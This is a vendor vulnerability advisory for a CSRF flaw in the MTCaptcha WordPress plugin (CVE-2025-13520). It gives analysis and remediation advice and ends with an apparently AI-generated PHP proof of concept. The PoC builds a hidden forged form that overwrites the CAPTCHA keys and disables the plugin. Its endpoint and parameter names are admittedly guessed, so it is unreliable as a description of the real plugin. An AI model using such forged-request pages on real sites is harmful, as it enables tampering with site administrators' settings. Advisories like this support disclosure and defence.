Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13520: MTCaptcha WordPress Plugin <= 2.7.2 – Cross-Site Request Forgery to Settings Update (mtcaptcha)

Plugin mtcaptcha
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.7.2
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13520 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the MTCaptcha WordPress plugin, affecting all versions up to and including 2.7.2. The vulnerability resides in the plugin’s settings update functionality. It allows unauthenticated attackers to modify plugin configuration by tricking an administrator into performing an action, such as clicking a malicious link.

Atomic Edge research indicates the root cause is missing or incorrect nonce validation on a specific administrative function. The vulnerability description confirms the absence of a WordPress nonce check, a security token required to validate the origin and intent of a request. This inference is based on the CWE-352 classification and the explicit mention of missing nonce validation in the description. Without reviewing the source code, Atomic Edge cannot confirm the exact function name or hook, but the pattern is consistent with a missing `check_admin_referer()` or `wp_verify_nonce()` call in a settings update handler.

Exploitation requires an attacker to craft a malicious web page or email containing a forged HTTP request. When a logged-in WordPress administrator with appropriate capabilities visits this page, their browser automatically submits a request to the vulnerable plugin endpoint. The likely target is the plugin’s settings page, typically accessed via `admin.php?page={plugin-slug}` or an AJAX handler registered with `wp_ajax_{action}`. A successful payload would be a POST request containing parameters like `mtcaptcha_private_key` and other configuration values the attacker wishes to set. The attack has a low complexity but requires user interaction.

Remediation requires the plugin developer to implement proper nonce verification. The fix should add a nonce check using `check_admin_referer()` or `wp_verify_nonce()` within the function that processes the settings update request. The nonce field must also be added to the corresponding settings form in the WordPress admin panel. This ensures each state-changing request originates from the intended user session. Capability checks should also be verified, though they are likely already present.

The impact of this vulnerability is limited integrity loss. Attackers can alter the plugin’s settings, which includes sensitive values like the private API key. A modified private key would break the CAPTCHA functionality, potentially allowing bots to bypass it on forms. Attackers could also disable the plugin entirely via settings. The vulnerability does not directly lead to confidentiality loss, privilege escalation, or remote code execution. The CVSS score of 4.3 reflects the need for user interaction and the limited scope of impact.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13520 - MTCaptcha WordPress Plugin <= 2.7.2 - Cross-Site Request Forgery to Settings Update
<?php
/**
 * Proof of Concept for CVE-2025-13520.
 * This script generates an HTML page that forges a POST request to the MTCaptcha plugin's settings update handler.
 * Assumptions based on WordPress plugin patterns:
 * 1. The settings update is handled via admin-post.php or admin-ajax.php with a specific action.
 * 2. The vulnerable endpoint does not validate a nonce.
 * 3. Parameter names are inferred from common MTCaptcha setting fields.
 */
$target_url = 'http://vulnerable-site.com/wp-admin/admin-post.php'; // Common admin handler
// Alternative likely endpoint: $target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// Simulated malicious settings update. The private key is a primary target.
$malicious_private_key = 'attacker_controlled_private_key';
$malicious_site_key = 'attacker_controlled_site_key';
?>
<!DOCTYPE html>
<html>
<head>
    <title>Malicious Page</title>
</head>
<body>
    <h1>Click to trigger (CSRF)</h1>
    <form id="exploitForm" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
        <!-- Inferred action parameter for admin-post.php -->
        <input type="hidden" name="action" value="mtcaptcha_update_settings" />
        <!-- Inferred parameter names based on plugin functionality -->
        <input type="hidden" name="private_key" value="<?php echo $malicious_private_key; ?>" />
        <input type="hidden" name="site_key" value="<?php echo $malicious_site_key; ?>" />
        <input type="hidden" name="enabled" value="0" /> <!-- Disable the plugin -->
        <!-- Additional settings parameters could be added here -->
        <input type="submit" value="Submit" />
    </form>
    <script>
        // Auto-submit the form when the page loads to simulate a single click attack.
        // In a real attack, this would be hidden or triggered via image load.
        // document.getElementById('exploitForm').submit();
    </script>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School